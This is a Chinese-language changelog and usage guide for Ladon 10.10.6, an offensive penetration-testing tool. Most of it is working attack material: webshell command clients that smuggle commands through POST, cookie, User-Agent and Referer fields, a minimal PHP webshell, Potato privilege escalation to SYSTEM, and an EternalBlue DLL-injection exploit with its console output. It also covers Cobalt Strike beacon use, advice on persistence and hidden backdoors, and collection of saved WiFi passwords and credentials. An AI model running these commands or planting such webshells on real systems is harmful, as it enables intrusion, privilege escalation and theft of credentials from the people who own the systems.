Ladon 10.10.6 更新功能
20230603
[u]LadonExp 支持GET连接MS17010漏洞CmdShell执行命令
[u]LadonExp 生成EXE可解密Base64、Hex PostShell结果
[u]PostShell 生成EXE可解密Base64、Hex PostShell结果
Ladon 10.10.6 20230528
[+]PostShell Post提交CmdShell客户端,如CMD小马pwd=whoami执行命令,支持Post、Cookie、UserAgent、Referer等提交
[+]MndpInfo/RouterOS/Mikrotik Mndp协议广播探测同网段Mikrotik路由器信息 (35和40不支持)
[u]GetInfo 移除GetInfo2,GetInfo已包含WMI获取的信息
[u]EnumProcess/tasklist/ps 查看进程详细信息,3种写法均支持
[u]EnumShare/ShareInfo 枚举局域网、同网段计算机共享资源
[u]EnumMssql/MssqlInfo MSSQL协议探测同网段SQL SERVER数据库信息
5.20
[+]QueryAdminDomain 查看域管理员
[+]QueryDomain 查看当前域、域时间
LadonExp payload出现$cmd$或$b64cmd$ 默认测试按钮 whoami
增加Windows常用命令 QueryAdmin QueryProxy ActiveAdmin ActiveGuest等
GUI DLL添加用户 密码永不过期
10.10.5 20230513
[u]ExchangePoc 识别ProxyShell ISVUL更准确
[+]CS beacon连接测试CmdShell Ladon cmdshell http://192.168.50.2:888 cmd whoami
[u]HikvisionScan
[U]修复CS下portscan noping 指定端口 识别不到IP的bug
[+]cmdshell 连接Ladon测试专用webshell
LadonExp 可选生成代码,方便修改poc
LadonExp 服务器返回协议不规范或其他错误提示 如ServerProtocolViolation 只空对象无法确定原因
[+]web 添加WebShell测试专用(Ladon web 800 cmd 访问http://192.168.1.8:800/shell?cmd=whoami)
0x001 一键CmdShell Get提交 测试专用
使用渗透专用的迷你Web服务器一键开启cmdshell,开启方法很简单,在后面加个cmd,通过指定URL访问,即可执行CMD命令,由于传输通信都是明文,主要用于测试。使用不同权限启动cmdshell服务器,即可测试提权工具,无需搭建IIS、Apache、Nginx、Tomcat等中间件到Win10、Win11系统,便可模拟local service、network service等用户权限提权,测试完后,结束Ladon进程,还你一个干净无漏洞的环境。
Ladon web 800 cmd
GET提交,在浏览器地址栏填写shell地址就可以执行命令
Ladon CmdShell模块连接webshell执行命令
Ladon cmdshell http://192.168.50.2:800 cmd whoami
PS: Cobalt Strike加载最新版Ladon后,可使用上述命令连接
0x002 Potato提权工具
Ladon内置多个Potato提权工具,服务用户轻松提权System
Ladon GodPotato whoami
Ladon EfsPotato whoami
Ladon SweetPotato whoami
Ladon BadPotato whoami
在Win11下使用network service权限开启Ladon的CmdShell模拟,浏览器访问执行whoami,可看到权限为network,可使用potato系列提权。
Ladon CmdShell http://192.168.50.145:800 cmd "C:\Users\Public\Ladon.exe GodPotato whoami"
本文例子GodPotato,在Win11下成功从network提权system权限,其它操作系统自行测试,不要盲目上目标,先确认EXP是否支持。
Ladon GodPotato whoami
0x003 PostShell Post提交CmdShell客户端
该模块主要功能为POST提交任意数据并获取返回结果,如CMD马pwd=whoami执行命令,支持Post、Cookie、UserAgent、Referer等
Usage: PostShell <method> <url> <pwd> <type> <cmd>
Ladon PostShell POST http://192.168.50.18/post.jsp tom cmd whoami
Ladon PostShell POST http://192.168.50.18/post.jsp tom b64cmd d2hvYW1p
Ladon PostShell POST http://192.168.50.18/post.jsp tom base64 d2hvYW1p
Ladon PostShell POST http://192.168.50.18/post.jsp tom hex whoami
Ladon PostShell UA http://192.168.50.18/ua.jsp tom cmd whoami
Ladon PostShell UA http://192.168.50.18/ua.jsp tom b64cmd d2hvYW1p
Ladon PostShell UA http://192.168.50.18/ua.jsp tom base64 d2hvYW1p
Ladon PostShell UA http://192.168.50.18/ua.jsp tom hex 77686F616D69
Ladon PostShell Cookie http://192.168.50.18/ck.jsp tom cmd whoami
Ladon PostShell Cookie http://192.168.50.18/ck.jsp tom b64cmd d2hvYW1p
Ladon PostShell Cookie http://192.168.50.18/ck.jsp tom base64 d2hvYW1p
Ladon PostShell Cookie http://192.168.50.18/ck.jsp tom hex 77686F616D69
Ladon PostShell Referer http://192.168.50.18/re.jsp tom cmd whoami
Ladon PostShell Referer http://192.168.50.18/re.jsp tom b64cmd d2hvYW1p
Ladon PostShell Referer http://192.168.50.18/re.jsp tom base64 d2hvYW1p
Ladon PostShell Referer http://192.168.50.18/re.jsp tom hex 77686F616D69
Ladon PostShell Destination http://192.168.50.18/re.jsp tom cmd whoami
Ladon PostShell Destination http://192.168.50.18/re.jsp tom b64cmd d2hvYW1p
Ladon PostShell Destination http://192.168.50.18/re.jsp tom base64 d2hvYW1p
Ladon PostShell Destination http://192.168.50.18/re.jsp tom hex 77686F616D69
Ladon PostShell HttpBasic http://192.168.50.18/re.jsp tom cmd whoami
Ladon PostShell HttpBasic http://192.168.50.18/re.jsp tom b64cmd d2hvYW1p
Ladon PostShell HttpBasic http://192.168.50.18/re.jsp tom base64 d2hvYW1p
Ladon PostShell HttpBasic http://192.168.50.18/re.jsp tom hex 77686F616D69
PS: 相关WebShell或CmdShell不提供,自行参考本文例子实现
PHP为例,获取POST数据执行CMD命令,非常简单一个system就行,熟悉其它语言的,可以自行构造,原理一样,但其它语言执行CMD可能并非一个system就可以,使用PHP只是便于大家理解,特别适合新手入门。
<?php
$k = $_POST['k8'];
system($k);
?>
使用PostShell提交cmd命令calc,可以看到目标机器弹出计算器
0x004 CobaltStrike插件Ladon连接内网webshell
有一些场景,无法代理,可以使用PostShell连接内网WebShell
0x005 LadonExp连接WebShell
LadonExp可理解为GUI版功能更强大的HackBar,也可理解为简易Burp提交工具,也可理解为Web漏洞一键EXP生成工具。使用JSP制作一个webshell,通过LadonExp提交cmd命令,传输使用Base64加密,所以提交的命令经过Base64加密,返回结果也是Base64数据,Exp自行解密。
新版本 返回结果 支持明文、base64、hex解密,使用null提交,连接未使用Base64加解密的webshell,WireShark抓包可以看到结果是明文。
连接base64的webshell,抓包发现回显内容是加密的
LadonExp支持变量$cmd$参数,构造好payload,在CMD变量处填写$cmd$,生成的poc,秒变一键连接工具。
LadonPoc.exe http://192.168.50.202:8080/post.jsp whoami
当变量为$b64cmd$时,输入命令,经Base64加密后提交
0x006 连接powershell webshell
0x007 连接nodejs webshell
0x008 perl webshell
0x009 python webshell
0x010 MS17010漏洞CmdShell
同理可以通过MS17010漏洞一键注入内存shell,执行任意命令
Ksmb回显DLL x86 payload注入成功,目标打印机进程监听8888端口
使用CmdShell模块连接,成功执行命令,sytem权限
PS: MS17010获取的权限,和进程有关,注入exploere则是用户权限
0x011 将指定DLL(payload_x86.dll),注入指定进程(explorer.exe)
C:\Users\k8gege\ladon_exp>ksmb.exe 192.168.50.165 445 payload_x86.dll explorer.exe
MS17010-EXP ETERNALBLUE by K8gege
IP: 192.168.50.165
OS: -bit 6.1 build 7600 Windows 7 Ultimate 7600
VUL: 1 (ETERNALBLUE - DANE)
EXP: Use Eternalblue & Doublepulsar
连接cmdshell,执行whoami回显结果是当前用户
C:\Users\k8gege>Ladon cmdshell http://192.168.50.165:8888 cmd whoami
Load CmdShell
win-17010\null
0x012 WmiInfo模块识别Windows系统位数
目标系统位数不指定DLL时,默认Ksmb自动识别,指定DLL可使用WmiInfo来确认,如下图目标32位系统。
0x013 tasklist、PS、EnumProcess 枚举进程详细信息
进程注入,需要知道进程权限、位数等信息,一般溢出漏洞都会直接拿到SYSTEM权限,可以直接植入C2,释放文件添加启动项持久化。当然也可以像NSA这样隐蔽,溢出后安装一个可以执行任意DLL或Shellcode的后门,同样后门也可制作成直接执行任意CMD,因为很多人都不懂制作DLL和Shellcode,所以留CMD后门,操作起来更方便。但执行命令的权限是由注入进程的权限决定的,并不是说17010溢出SYSTEM,执行的命令就一定是SYSTEM,这得看DLL注入哪个进程,注入时DLL和进程位数要对应,不然可能导致进程崩溃或系统蓝屏。
对相关进程不熟悉的,可使用Ladon的Tasklist命令获取当前系统详细进程信息,有进程对应完整路径、PID、位数、用户权限、标题等信息。实战也可以用来查找一些C2,比如进程为svchost.exe,但是程序路径非system目录,连检测都不用检测就知道这程序肯定有问题。当然也可以用来查找管理员当前正在操作的一些工具,安装路径在哪,而不是盲目的乱翻。
0x014 CmdLine查看进程命令行参数
上面的进程信息不包含命令行参数,所以需要另一个模块来获取。有时可以通过命令行参数获取信息,比如一些命令行连接远程的密码等
Ladon CmdLine 获取当前正在运行所有程序的命令行参数
Ladon CmdLine Firefox.exe 获取指定进程命令参数
0x015 GetInfo一键收集本机渗透常用信息
IP信息、CPUID、GUID、硬盘序列号、CmdKey、Wifi密码、用户信息、域信息、启动项、计划任务、USB信息、安装软件版本、最近操作文件、进程信息、磁盘信息等,结果很多,建议重定向输出到文件保存。
Ladon GetInfo
0x016 DirList列全盘目录信息
该功能比GetInfo获取信息更全,多一个全盘目录信息枚举,完成自动将相关命令结果和目录信息压缩成一个文件。
Ladon DirList 获取全盘目录文件信息
Ladon DirList c:\ 获取C盘目录文件信息
0x017 MndpInfo Mndp协议广播探测Mikrotik路由器
Ladon MdnpInfo
Ladon RouterOS
Ladon Mikrotik
PS: 除了MdnpIfno,OSscan、PortScan等模块也可识别
小结: Ladon的功能模块很多,不熟建议查看文档,大部份用法统一,但个别模块可能参数用法不太一样,使用前还是先看或本地环境测比较好。为了减轻维护使用文档的工作量,简明使用教程只放在github上,公开版本为911,功能全但被杀严重,环境需.net4.8,实战受到不少限制,只适合本地测试或代理下使用。
Bug反馈
最后 希望大家多提交一些Bug,提交Bug的时候,最好把问题描述清楚。比方说什么操作系统、版本位数、多少位、执行命令等,在CMD下执行、PowerSehll还是CS下执行,CS下是用插件执行还是上传到目标执行,当前执行命令的权限,报错是什么等信息越详细越好。Ladon默认输出的信息就包含详细操作系统版本、进程、.net版本、权限等信息,截图都能反馈不少信息。
下面是错误提问或Bug反馈的例子
我使用SmbScan模块为什么扫不到密码? 首先没图片,不知道你的执行方式,在什么系统上执行,用的是什么版本的Ladon,其次不知道密码字典格式是否正确,输入的IP格式是否正确,比方说命令是Ladon ip.txt smbscan,相关ip你放在ipxxx.txt里,执行的命令是 "Ladon ipxxx.txt smbscan"诈一看没问题是吧,让它扫ipxxx.txt文件里的IP,但要仔细想想,Ladon肯定会报错啊,因为Ladon支持IP、URL、IP段、甚至IP和URL的混合等目标格式。单纯输入TXT又没告诉它TXT里放的是IP还是URL,它怎么会认识,所以文件名就相当于你使用其它工具的-url urlxxx.txt来告诉工具是URL,-ip ipxxx.txt来告诉工具是IP文件,大家没注意到Ladon没有-url或-ip参数吗,那只能通过文件名指定了。而且Ladon也会提示输入不合法,如果是使用上的问题,只要发出截图,我看一眼就能帮你解决问题,而不是单纯反馈说用哪个模块老是报错,原因详细过程信息什么都不说。我又不是站在你旁边看你操作的人,只说有问题,谁能解决?
如果是在CS下使用密码审计模块,字典文件是需要上传到目标,对应CS工作目录下使用,不然会提示找不到文件,因为是内存加载,所以执行Ladon时会去pwd出来的路径下找字典文件,你上传到某个目录,beacon又CD到其它目录,这时执行Ladon当然找不到啊。但如果是把Ladon上传到指定目录,字典也和Ladon放在一起,通过shell执行上传到目标Ladon程序,不管cd到哪个目录,只要填写全路径都可以用。插件内存加载,就是pwd在哪个目录,依赖的文件就得上传到哪个目录。使用不同版本,同一模块遇到问题也是不一样的。所以提问或反馈一定要说清楚。